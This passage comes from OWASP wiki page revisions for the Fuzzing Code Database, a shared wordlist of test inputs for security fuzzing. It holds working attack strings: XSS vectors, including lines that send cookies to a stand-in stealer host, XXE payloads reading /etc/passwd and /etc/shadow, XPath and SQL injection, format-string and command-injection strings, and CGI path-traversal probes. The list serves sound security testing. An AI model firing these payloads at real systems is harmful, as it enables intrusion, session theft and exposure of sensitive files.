SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80084 2010-03-17T21:16:37Z

<p>Adam.muntner: /* Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> 